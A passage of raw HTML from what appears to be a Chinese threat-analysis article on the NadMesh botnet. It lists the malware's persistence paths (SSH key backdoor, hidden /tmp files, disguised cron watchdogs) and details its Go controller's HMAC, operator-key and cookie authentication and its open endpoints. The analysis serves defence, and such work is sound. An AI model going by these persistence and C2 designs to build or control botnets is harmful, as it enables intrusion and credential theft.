0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">写入 SSH 公钥后门：</span></p></li><ul style="list-style-type:square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">.ssh/authorized_keys</span></p></li></ul><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">落多路径持久化文件：</span></p></li><ul style="list-style-type:square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/dev/shm/.a</span><code></code></p></li><li><p><code><span leaf="">/var/tmp/.a</span></code><code></code></p></li><li><p><code><span leaf="">/tmp/.a</span></code></p></li></ul><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">植入隐蔽 Cron 看门狗：</span><code></code></p></li><ul style="list-style-type:square;" class="list-paddingleft-1"><li><p><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">/etc/cron.d/.sys_monitor</span></code><code></code></p></li><li><p><code><span leaf="">/etc/cron.d/.s</span></code></p></li></ul></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">任何单点清除都会被其余路径拉起。同时它承担 30 端口探测、服务识别、20+ 向量 RCE 投递、内网扫描与凭证抓取，并以 beacon 形式与主控及同网段节点保持 P2P 联动，形成横向自扩散能力。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001145" data-ratio="1.8083333333333333" data-s="300,640" type="block" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=52e12e07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yE9e5OA0JFXBwkcMlYF8u32sZK5q7Gic12cOYjgQPc1rt5MeVsd1VYKfkhSyE2QQaYVy1RwMsOeWG1x6E5scMlJ3R2ngpY5PfI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">NadMesh 控制端功能分析</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">NadMesh 控制端有 Golang 和 Python 两个版本，功能基本一致。本文主要分析 Golang 版本，文件名 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">controller_go.go</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，代码中作者自称 &#34;n4d mesh controller&#34;。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">整体架构</span></span></h2><pre><code></code></pre><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001146" data-ratio="0.6224256292906178" data-s="300,640" type="block" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=3a020918&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8zw3J6zcf6EUffqJEkX6AZHCBwQiakW0pibkiciaOIC0V70uqibDr7muBuCEaOQQ0VI8qf5sDt68aibz1L49QVZ39v9LFpsTaaoOeD50%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">作者在注释里写下了自己的设计哲学：</span></code></pre><blockquote><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">In-memory hot path: sync.Map + channels + ring buffers. DB only for background persistence.</span></strong></p></blockquote><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">也就是读路径全走内存、零 DB 查询，写路径异步批量落库。这个取舍让单机就能扛住高并发的 Bot 流量。</span></p><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">认证机制</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">控制端有三套彼此独立的认证。</span></span></p><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Bot 鉴权</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">（</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">verifyBotAuth</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">）走 HMAC：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">请求头</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">X-Mesh-Auth: &lt;node_id&gt;:&lt;hex_hmac&gt;</span></code></p></li><ul style="list-style-type:square;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">算法为 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">HMAC-SHA256(meshKey, &#34;&lt;node_id&gt;:&lt;unix_ts&gt;&#34;)</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">。</span></p></li></ul><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">服务端以当前时间 ±60 秒为窗口共迭代 121 次，并用 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">hmac.Equal</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 做常量时间比较以防时序侧信道。</span></p></li></ul><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">操作员鉴权</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">（</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">verifyOperatorAuth</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">）最为简陋：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">仅检查 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">X-Operator-Key</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 头与 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">opKey</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 明文等值。</span></p></li></ul><p><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">面板 Cookie 鉴权</span></span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">则相对完整</span>：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">登录密码即 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">opKey</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，用 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">subtle.ConstantTimeCompare</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 比较；</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">登录成功后下发 cookie </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">n4d_panel = sha256(opKey + &#34;YYYY-MM-DD-HH&#34;)</span></code></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">每小时轮换，校验时同时接受当前小时与上一小时窗口以防边界失效</span></p></li><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Cookie 带 HttpOnly、SameSite=Lax，HTTPS 下附加 Secure，MaxAge 86400。登录还有限速：每 IP 10 分钟 5 次，超限返回 429。</span></p></li></ul><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">此外，Bot 上报的主机画像（profile）经 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">xorDecrypt</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 解密——base64 解码后与 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">meshKey</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 循环 XOR，强度聊胜于无。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">鉴权由中间件分层落实：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">openEndpoints：注册、beacon、二进制下载、更新检查等无需鉴权（beacon 回连用 </span><code><span leaf="">?k=token 或干脆无认证）</span></code><code></code></p></li><li><p><code><span leaf="">operatorEndpoints：intel/chains/stats/conversion 的 GET 需操作员鉴权</span></code><code><span leaf="">3</span></code></p></li><li><p><code><span leaf="">其余/api/路径强制 Bot HMAC 鉴权</span></code><code></code></p></li><li><p><code><span leaf="">/api/result/故意开放，供 Bot 提交扫描结果</span></code></p><p><code></code></p></li></ul><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 20px;font-weight: bold;">HTTP 端点功能清单</span></span></h2><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001147" data-ratio="1.25" data-s="300,640" type="block" data-type="png" data-w="876" 